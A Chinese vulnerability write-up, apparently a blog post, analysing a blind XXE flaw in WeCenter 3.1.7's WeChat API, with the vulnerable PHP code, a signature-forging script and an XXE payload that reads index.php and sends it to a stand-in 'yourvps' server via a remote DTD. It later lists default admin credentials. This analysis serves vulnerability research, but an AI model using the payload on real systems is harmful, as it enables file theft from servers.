WeCenter3.1.7 blind xxe

 xxe漏洞危害大,可以查看任意文件,执行系统命令,进行ddos等,但是本次漏洞有一条件,需要后台登录,所以危害降低了,下面是详细分析

在models/weixin.php

    public function fetch_message()
    {
        if ($this->post_data = file_get_contents('php://input'))
        {
            $post_object = (array)simplexml_load_string($this->post_data, 'SimpleXMLElement', LIBXML_NOCDATA);

            if ($_GET['encrypt_type'] == 'aes')
            {
                $post_object = $this->decrypt_msg($post_object['Encrypt']);
            }

            $input_message = array(
                'fromUsername' => $post_object['FromUserName'],
                'toUsername' => $post_object['ToUserName'],
                'content' => trim($post_object['Content']),
                'time' => time(),
                'msgType' => $post_object['MsgType'],
                'event' => $post_object['Event'],
                'eventKey' => $post_object['EventKey'],
                'mediaID' => $post_object['MediaId'],
                'format' => $post_object['Format'],
                'recognition' => $post_object['Recognition'],
                'msgID' => $post_object['MsgID'],
                'latitude' => $post_object['Latitude'],
                'longitude' => $post_object['Longitude'],
                'precision' => $post_object['Precision'],
                'location_X' => $post_object['Location_X'],
                'location_Y' => $post_object['Location_Y'],
                'label' => $post_object['Label'],
                'ticket' => $post_object['Ticket'],
                'createTime' => $post_object['CreateTime'],
                'status' => $post_object['Status'],
                'filterCount' => $post_object['FilterCount'],
                'picUrl' => $post_object['PicUrl'],
                'encryption' => ($_GET['encrypt_type'] == 'aes') ? true : false
            );

            $weixin_info = $this->model('openid_weixin_weixin')->get_user_info_by_openid($input_message['fromUsername']);

            if ($weixin_info)
            {
                $this->user_id = $weixin_info['uid'];
            }

            if (get_setting('weixin_account_role') == 'service')
            {
                $this->bind_message = '你的微信帐号没有绑定 ' . get_setting('site_name') . ' 的帐号, 请<a href="' . $this->model('openid_weixin_weixin')->get_oauth_url(get_js_url('/m/weixin/authorization/')) . '">点此绑定</a>';
            }

            return $input_message;
        }
    }

没有过滤post数据,带入到了simplexml_load_string 然后查找哪里调用了这个函数fetch_message,在app/weixin/api.php调用了这函数

    public function index_action()
    {
        if (!isset($_GET['id']))
        {
            $_GET['id'] = 0;
        }

        $account_info = $this->model('weixin')->get_account_info_by_id($_GET['id']);

        $this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']);

        if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']))
        {   
            exit();
        }

        if ($_GET['echostr'])
        {
            exit(htmlspecialchars($_GET['echostr']));
        }

        if ($account_info['weixin_account_role'] == 'base' OR !$account_info['weixin_app_id'] OR !$account_info['weixin_app_secret'])
        {
            $account_info['weixin_mp_menu'] = null;
        }

        $this->model('weixin')->account_info = $account_info;

        $input_message = $this->model('weixin')->fetch_message();

        $this->model('weixin')->response_message($input_message);
    }
}

然后这个地方

 if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']))
        {   
            exit();
        }

如果$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']不成立就会退出去,无法执行$input_message = $this->model('weixin')->fetch_message();

跟进models/weixin.php

 public function check_signature($mp_token, $signature, $timestamp, $nonce)
    {
        $tmp_signature = $this->generate_signature($mp_token, $timestamp, $nonce);

        if (!$tmp_signature OR $tmp_signature != $signature)
        {
            return false;
        }

        return true;
    }

    public function generate_signature($token, $timestamp, $nonce)
    {
        $token = trim($token);

        if (!$token OR !$timestamp OR !$nonce)
        {
            return false;
        }

        $tmp_arr = array(
            $token,
            $timestamp,
            $nonce
        );

        sort($tmp_arr, SORT_STRING);

        return sha1(implode('', $tmp_arr));

    }

我们可以控制$signature参数,而且通过generate_signature我们知道如何生成signature,但是这里

if (!$token OR !$timestamp OR !$nonce) { return false; }

$mp_token是不能控制的,而且不能为空,这样我们就得设置$mp_token了,这个得在后台设置

然后我们成功设置$mp_token为testtest,对照signature生成的方法,写个脚本生成我们可控的$signatarue

<?php 
$token = "testtest"; 
$timestamp = "a"; 
$nonce = "b"; 
$tmp_arr = array( $token, $timestamp, $nonce ); 
sort($tmp_arr, SORT_STRING); 
echo sha1(implode('', $tmp_arr));

生成$signature为ed86c0d850f575d4fbd3b2062f1662bed2fe4245,最后url的格式如下

http://localhost/WeCenter_3-1-7/UPLOAD/?/weixin/api/?signature=ed86c0d850f575d4fbd3b2062f1662bed2fe4245&timestamp=a&nonce=b

然后由于这个xxe漏洞没有回显,但是blind xxe还是可以用的。 构造读取首页的payload

<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % remote SYSTEM "http://yourvps/xxe/evil.dtd"> %remote; %all; ]> <c>&send;</c></code>
其中evil.dtd内容如下

get.php内容如下

执行

vps下就生成了1.txt,里面内容是index.php的base64编码

 
WeCenter(原Anwsion) 社会化问答系统 v3.3.0 更新日志   短信功能基础模块添加(三种短信通道可供选择)   支付功能基础模块添加(支付宝、微信、余额) 删除改为逻辑删除(文章/问题/用户) 内容审核增加了对文章评论问题评论和回答评论的审核 后台菜单改为数据库储存和维护 新增插件管理(后续可支持插件的安装与卸载,结合应用市场) **配合手机注册插件可实现手机号注册登录 修改加入收藏的逻辑 修复了分享导致内容脚本被执行的漏洞 升级程序修改 (支持官方版本的跨版本升级,修复了升级过程中出错而无法再升级问题) 后台增加了对违规用户IP的封禁 社区反映问题修改   WeCenter(原Anwsion) 社会化问答系统简介 Wecenter(微中心系统软件)是一款由深圳市微客互动有限公司开发的具有完全自主知识产权的开源软件。它安全,可靠,快速更迭,可以迅速帮助企业和组织通过微信,微薄,APP,网页社区等交互模式建立和客户之间的互动联系,积累知识要点,降低同质化内容的咨询成本和人力服务成本。让内容可以协同编辑,可以评价,可以快递分类和定位,建立符合企业和组织需求的结构化知识库。 通过微信公众帐号的对接,Wecenter利用结构化知识库和自然语言的检索,让企业拥有一个专业化的智能交流服务(类似苹果siri),建立一个微信端的crm系统。通过微薄的帐号管理,可以及时的了解微薄数据流中提到的关键信息,帮助企业和组织快速反映并提交解决方案。通过APP和网页社区,企业和组织可以和用户进行社交互动,并通过邀请,赞同,感谢等动作,发现优秀的人才和观点。 Wecenter是通过积累来源于微信,微薄,APP,社区等用户的碎片信息,利用社交互动的模式,分析数据,提炼数据,最终帮助企业和组织积累符合他们需求的知识百科!  WeCenter(原Anwsion) 社会化问答系统前台页面  WeCenter(原Anwsion) 社会化问答系统后台管理 后台路径:域名//?/admin/ 用户名与密码:admin admin123(安装时可设置) 后台页面: 相关阅读 同类推荐:站长常用源码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值